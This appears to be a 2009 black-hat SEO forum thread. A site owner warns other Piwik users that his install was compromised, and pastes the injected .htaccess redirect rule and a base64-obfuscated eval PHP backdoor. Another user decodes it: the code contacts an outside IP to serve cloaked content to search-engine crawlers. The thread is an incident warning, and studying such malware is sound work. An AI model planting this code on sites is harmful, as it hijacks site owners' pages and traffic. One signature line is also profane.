Black Hat Forum Black Hat SEO The only backlink provider with unlimited projects/links per day!
Go Back   Black Hat Forum Black Hat SEO > Black Hat SEO > Black Hat SEO Tools

Black Hat SEO Tools Black Hat Tools: You can't GO it alone...have an arsenal of programs to help you out!

Mad Content   BLOG SEO
Search
 
LinkWheel

LiveChatAgent



Reply
 
LinkBack Thread Tools Search this Thread Display Modes
  #1 (permalink)  
Old 11-23-2009, 05:42 PM
MuonTrail's Avatar
Registered Member
 
Join Date: Mar 2009
Posts: 96
Thanks: 294
Thanked 90 Times in 66 Posts
Reputation: 13
iTrader: (0)
Exclamation To anyone using piwik 0.4.5; seems it's hackable

Just noticed today that my piwik install got hacked. Not exactly sure how yet, but this is what it looks like he did.

This was added to my htaccess

Code:
RewriteRule .* http://91.207.4.19/tds/go.php?sid=1 [R,L]
And this lovely snippet was added to my index.php

Code:
eval(base64_decode("aWYoc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdnb29nbGUnKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ3lhaG9vJykgb3Igc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtc24nKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ2xpdmUnKSkNCnsNCiAgJHIgPSAnJzsNCiAgaWYoJGY9QGZzb2Nrb3BlbignOTEuMjA3LjQuMTgnLDgwLCRlLCRlciwxMCkgYW5kIEBmcHV0cygkZiwgIkdFVCAvbGlua2l0L2luLnBocD9kb21haW49IiAuIHVybGVuY29kZSgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSkgLiAiJnVzZXJhZ2VudD0iIC4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgLiAiIEhUVFAvMS4wXHJcbkhvc3Q6IDkxLjIwNy40LjE4XHJcblxyXG4iKSkNCiAgd2hpbGUoICRsID0gZnJlYWQoJGYsIDEwMjQpKSAkciAuPSAkbDsNCiAgQGZjbG9zZSgkZik7DQogICRwPXN0cnBvcygkciwiXHJcblxyXG4iKTsgZWNobyBzdWJzdHIoJHIsJHArNCk7DQp9"));
I haven't really dug into this yet. Just wanted to give a quick heads up to anyone who might be using piwik to check their installs.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #2 (permalink)  
Old 11-24-2009, 01:11 AM
BANNED
 
Join Date: Mar 2009
Location: United Kingdom
Posts: 1,196
Thanks: 77
Thanked 284 Times in 192 Posts
Reputation: 25
iTrader: (1)
Default Re: To anyone using piwik 0.4.5; seems it's hackable

How do you know that this was a fault of Piwiks?
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #3 (permalink)  
Old 11-24-2009, 03:52 AM
sonneti's Avatar
Regular Member
 
Join Date: Jan 2009
Posts: 203
Thanks: 31
Thanked 127 Times in 30 Posts
Reputation: 12
iTrader: (0)
Default Re: To anyone using piwik 0.4.5; seems it's hackable

I know f'all about php but i'd guess it is redirecting your search engine traffic?

Code:
if(stripos($_SERVER[\'HTTP_USER_AGENT\'], \'google\') or stripos($_SERVER[\'HTTP_USER_AGENT\'], \'yahoo\') or stripos($_SERVER[\'HTTP_USER_AGENT\'], \'msn\') or stripos($_SERVER[\'HTTP_USER_AGENT\'], \'live\'))
{
  $r = \'\';
  if($f=@fsockopen(\'91.207.4.18\',80,$e,$er,10) and @fputs($f, "GET /linkit/in.php?domain=" . urlencode($_SERVER["SERVER_NAME"]) . "&useragent=" . urlencode($_SERVER[\'HTTP_USER_AGENT\']) . " HTTP/1.0\\r\\nHost: 91.207.4.18\\r\\n\\r\\n"))
  while( $l = fread($f, 1024)) $r .= $l;
  @fclose($f);
  $p=strpos($r,"\\r\\n\\r\\n"); echo substr($r,$p+4);
}
__________________
the admins on this forum can suck my fucking cock
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #4 (permalink)  
Old 11-24-2009, 04:04 AM
MuonTrail's Avatar
Registered Member
 
Join Date: Mar 2009
Posts: 96
Thanks: 294
Thanked 90 Times in 66 Posts
Reputation: 13
iTrader: (0)
Default Re: To anyone using piwik 0.4.5; seems it's hackable

Well, I'm not sure it was piwik anymore. I finally had time to start digging into it and he got all my website on that host. The most likely suspect is one of my wordpress installs. Probably a bad plugin. Meh.

I was thinking search engine spider traffic... after all, traffic I get from the search engines shouldn't show the name of the search engine in the user-agent would they, I don't think?

The code he base64'd just returned (at the time) an empty hidden div, which would have been added at the end of my pages. Though I can't imagine what he would possibly want to do with spider traffic. And I still haven't figured out what he exploited. Meh.

So it was a false alarm for piwik. But if you use a crap-load of plugins on your wordpress sites you might want to do periodic checks.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Reply

Bookmarks

Backlinks Genie

SE Nuke



Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


SEO Paladin


Web Hosting
Copyright © 2005 - 2012 BlackHatWorld.com All rights reserved.